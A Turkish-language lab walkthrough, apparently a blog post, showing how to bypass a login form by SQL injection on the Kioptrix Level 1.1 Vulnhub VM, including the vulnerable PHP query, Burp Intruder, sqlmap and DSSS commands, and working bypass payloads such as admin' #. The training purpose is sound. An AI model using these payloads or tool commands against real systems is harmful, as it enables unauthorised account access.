Web Uygulaması Sızma Testlerinde SQL Enjeksiyonu ile Kimlik Doğrulamasının Atlatılması

Web uygulamaları sızma testleri sırasında tespit edilen kimlik doğrulama ekranlarında gerekli kontrollerin uygulanmaması bir takım zafiyetlere sebep olabilir. Bu yazıda, web hizmeti veren Kioptrix (Seviye – 1.1 [#2]) sanal makinesindeki SQL enjeksiyonu zafiyeti sebebi ile kimlik doğrulaması atlatılarak oturum açılabilecektir.

Yazıda kullanılan Kioptrix: Seviye – 1.1 (#2) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

Web sayfasına giriş yapıldığında kullanıcı adı ve parola istenen bir ekran ile karşılaşılmaktadır.

 

Kaynak kod incelendiğinde “uname” ve “psw” adlı iki girdi alanı bulunduğu görülmektedir.

 

Burp gibi bir vekil uygulama ile araya girildiğinde POST verisi olarak “uname” ve “psw” alanlarına değer atandığı ve suncuuya gönderildiği görülebilir.

 

Not: Sunucu tarafındaki PHP kodu incelendiğinde ise POST metodu ile gelen “uname” ve “psw” alanlarındaki değerlerin herhangi bir kontrolden geçirilmeden veritabanında sorgulandığı görülmektedir.


$username = $_POST[‘uname’];
$password = $_POST[‘psw’];
SELECT * FROM users WHERE username=’$username’ AND password=’$password’

 

Parametre kontrolü atlatılarak hedef uygulamada oturum açabilmek için çeşitli yöntemler ve araçlar kullanılabilir.

 

A) Vekil Uygulama ve Bir Liste ile İstismar

Burp Suite gibi vekil uygulama kullanılarak istismar işlemi gerçekleştirilebilir. Bu amaçla yakalanan POST isteği Intruder modülüne gönderilir. Bu ekrandaki “Positions” sekmesinde Snipper saldırı tipi seçilir ve kullanıcı adı işaretlenir.

 

Not: Burp Suite aracının Intruder özelliğini kullanmak için kaynaklardaki DVWA yazısı incelenebilir.

Kullanılacak veri listesi için “Payloads” sekmesine gelinir ve bir kaba kuvvet listesi eklenebilir. Liste olarak Emin İslam Tatlı tarafından hazırlanmış olan değerler verilmiştir.

https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/

 

Not: Farklı listeler de bulunmaktadır. Örnek listeler aşağıdaki gibi sıralanabilir. Yazının sonunda liste de aşağıdaki sitelerden yararlanılarak oluşturulmuştur.

http://blog4hacks.blogspot.com.tr/2009/07/sql-strings-for-sql-authentication.html
http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html

Başarısız olan kullanıcı adı denemesi (5 numaralı sonuç) ile başarılı olan kullanıcı adı denemesi (6 numaralı sonuç) karşılaştırıldığında ikisine de 200 cevabının döndüğü ancak sonuç uzunluğunun farklı (başarısız için 860, başarılı için 779) olduğu görülmektedir.

 

Böylece “uname” parametresine aracın belirttiği değer verildiğinde oturum açılabildiği görülebilir.

admin’ #

 

B) Sqlmap Aracı ile İstismar

Sqlmap aracı kullanılarak da SQL enjeksiyonu tespiti gerçekleştirilebilir.

sqlmap -u ‘http://192.168.1.105/index.php’ –data=’uname=admin&psw=admin&btnLogin=Login’ –level=3 –risk=3

 

Sqlmap aracı ile POST olarak giden ifade verilerek tarama yapıldığında, “uname” ve “psw” parametrelerinde SQL enjeksiyonu zafiyeti tespit edilir.

 

Log dosyasında detaylar görülebilir.

cat /root/.sqlmap/output/192.168.1.105/log

 

Böylece “psw” parametresine aracın belirttiği değer verildiğinde oturum açılabildiği görülebilir.

uname=admin&psw=-7540′ OR 9083=9083– qsBG&btnLogin=Login

 

C) DSSS Aracı ile İstismar

DSSS (Damn Small SQLi Scanner) adlı araç kullanılarak da SQL enjeksiyonu tespiti gerçekleştirilebilir.

git clone https://github.com/stamparm/DSSS.git
cd DSSS/
ls
python dsss.py

 

DSSS aracı ile POST olarak giden ifade verilerek tarama yapıldığında, “uname” ve “pws” parametrelerinde SQL enjeksiyonu zafiyeti tespit edilir.

python dsss.py -u http://192.168.1.105 –data=’uname=Deneme&pws=Parola123&btnLogin=Login’

 

Böylece oturum açılabilmiştir.

uname=Deneme%27%20OR%20NOT%20%28119%3E119%29–%20-&psw=Parola123&btnLogin=Login

 

Not: Bu örnekte POST metodu ile gönderilen alanlarda SQL enjeksiyonu bulunmaktaydı. Eğer GET ile taşınan parametrelerde bulunsa idi sql-scanner aracı ile de SQL enjeksiyonu tespit edilebilirdi. Bunun yanında V3n0M-Scanner, sqlninja,… gibi araçlar da kullanılabilirdi.

https://github.com/the-c0d3r/sqli-scanner
https://github.com/v3n0m-Scanner/V3n0M-Scanner
http://sqlninja.sourceforge.net/download.html

 

D) SQL Enjeksiyonu Veri Listesi

 

 

Kaynaklar:

http://www.siberportal.org/red-team/web-application-penetration-tests/brute-force-authentication-attack-with-burp-suite-on-owasp-dvwa-low-security-level/
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/
https://blog.bugcrowd.com/authentication-bypass/

Kioptrix Level 2


https://jhalon.github.io/vulnhub-kioptrix2/
https://github.com/fuzzdb-project/fuzzdb/tree/master

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.